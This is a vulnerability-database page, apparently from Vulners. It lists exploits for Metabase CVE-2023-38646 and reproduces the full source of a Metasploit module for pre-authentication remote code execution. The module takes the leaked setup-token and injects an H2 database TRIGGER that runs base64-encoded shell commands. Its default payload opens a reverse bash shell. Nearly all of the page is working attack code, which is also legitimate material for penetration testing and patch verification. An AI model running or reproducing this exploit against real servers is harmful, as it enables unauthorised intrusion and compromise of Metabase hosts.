| Reporter | Title | Published | Views | Family All 52 |
|---|---|---|---|---|
| Exploit for CVE-2023-38646 | 22 Feb 202402:55 | – | githubexploit | |
| Exploit for CVE-2023-38646 | 31 Jul 202311:18 | – | githubexploit | |
| Exploit for CVE-2023-38646 | 26 Nov 202419:05 | – | githubexploit | |
| Exploit for CVE-2023-38646 | 17 Oct 202307:43 | – | githubexploit | |
| Exploit for CVE-2023-38646 | 9 Aug 202314:05 | – | githubexploit | |
| Exploit for CVE-2023-38646 | 22 Nov 202404:15 | – | githubexploit | |
| Exploit for CVE-2023-38646 | 14 Oct 202315:56 | – | githubexploit | |
| Exploit for CVE-2023-38646 | 29 Jul 202313:07 | – | githubexploit | |
| Exploit for CVE-2023-38646 | 2 Aug 202313:21 | – | githubexploit | |
| Exploit for CVE-2023-38646 | 7 Nov 202303:57 | – | githubexploit |
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
prepend Msf::Exploit::Remote::AutoCheck
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Metabase Setup Token RCE',
'Description' => %q{
Metabase versions before 0.46.6.1 contain a flaw where the secret setup-token
is accessible even after the setup process has been completed. With this token
a user is able to submit the setup functionality to create a new database.
When creating a new database, an H2 database string is created with a TRIGGER
that allows for code execution. We use a sample database for our connection
string to prevent corrupting real databases.
Successfully tested against Metabase 0.46.6, 0.44.4, 0.42.1.
},
'License' => MSF_LICENSE,
'Author' => [
'h00die', # msf module
'Maxwell Garrett', # original PoC, analysis
'Shubham Shah' # original PoC, analysis
],
'References' => [
['URL', 'https://blog.assetnote.io/2023/07/22/pre-auth-rce-metabase/'],
['URL', 'https://www.metabase.com/blog/security-advisory'],
['CVE', '2023-38646']
],
'Platform' => ['unix'],
'Privileged' => false,
'Arch' => ARCH_CMD,
'DefaultOptions' => {
'PAYLOAD' => 'cmd/unix/reverse_bash'
# for docker payload/cmd/unix/reverse_netcat also works, but no perl/python
},
'Targets' => [
[ 'Automatic Target', {}]
],
'DisclosureDate' => '2023-07-22',
'DefaultTarget' => 0,
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [IOC_IN_LOGS]
}
)
)
register_options(
[
Opt::RPORT(3000),
OptString.new('TARGETURI', [ true, 'The URI of the Metabase Application', '/'])
]
)
end
def get_bootstrap_json_blob_from_html_resp(res)
metabase_bootstrap = res.get_html_document.xpath('//script[@id="_metabaseBootstrap"]').text
begin
JSON.parse(metabase_bootstrap)
rescue JSON::ParserError, TypeError
print_bad('Unable to parse JSON blob')
nil
end
end
def check
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path),
'method' => 'GET'
)
return CheckCode::Unknown("#{peer} - Could not connect to web service - no response") if res.nil?
return CheckCode::Unknown("#{peer} - Check URI Path, unexpected HTTP response code: #{res.code}") unless res.code == 200
json = get_bootstrap_json_blob_from_html_resp(res)
fail_with(Failure::UnexpectedReply, "#{peer} - Unexpected response, unable to load JSON blob") if json.nil?
version = json.dig('version', 'tag')
return CheckCode::Unknown("#{peer} - Unable to determine version from JSON blob") if version.nil?
# typically v0.46.6
version = version.gsub('v', '')
if Rex::Version.new(version) < Rex::Version.new('0.46.6.1')
return CheckCode::Appears("Version Detected: #{version}")
end
CheckCode::Safe("Version not vulnerable: #{version}")
end
def exploit
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path),
'method' => 'GET'
)
fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service") if res.nil?
fail_with(Failure::UnexpectedReply, "#{peer} - Unexpected response (response code: #{res.code})") unless res.code == 200
json = get_bootstrap_json_blob_from_html_resp(res)
fail_with(Failure::UnexpectedReply, "#{peer} - Unexpected response, unable to load JSON blob") if json.nil?
setup_token = json['setup-token']
if setup_token.nil?
print_status('Setup token is nil, checking secondary location')
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'api', 'session', 'properties'),
'method' => 'GET'
)
fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service") if res.nil?
fail_with(Failure::UnexpectedReply, "#{peer} - Unexpected response (response code: #{res.code})") unless res.code == 200
json = res.get_json_document
setup_token = json['setup-token']
end
fail_with(Failure::UnexpectedReply, "#{peer} - Unable to find valid setup-token") if setup_token.nil?
print_good("Found setup token: #{setup_token}")
print_status('Sending exploit (may take a few seconds)')
# our base64ed payload can't have = in it, so we'll pad out with spaces to remove them
b64_pe = ::Base64.strict_encode64(payload.encoded)
equals_count = b64_pe.count('=')
if equals_count > 0
b64_pe = ::Base64.strict_encode64(payload.encoded + ' ' * equals_count)
end
send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'api', 'setup', 'validate'),
'method' => 'POST',
'ctype' => 'application/json',
'data' => {
'token' => setup_token,
'details' =>
{
# 'is_on_demand' => false, # without this, the shell takes ~20 sec longer to get
# 'is_full_sync' => false,
# 'is_sample' => false,
# 'cache_ttl' => nil,
# 'refingerprint' => false,
# 'auto_run_queries' => true,
# 'schedules' => {},
'details' =>
{
'db' => "zip:/app/metabase.jar!/sample-database.db;TRACE_LEVEL_SYSTEM_OUT=0\\;CREATE TRIGGER #{Rex::Text.rand_text_alpha_upper(6..12)} BEFORE SELECT ON INFORMATION_SCHEMA.TABLES AS $$//javascript\njava.lang.Runtime.getRuntime().exec('bash -c {echo,#{b64_pe}}|{base64,-d}|{bash,-i}')\n$$--=x",
'advanced-options' => false,
'ssl' => true
},
'name' => Rex::Text.rand_text_alphanumeric(6..12),
'engine' => 'h2'
}
}.to_json
)
end
end
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation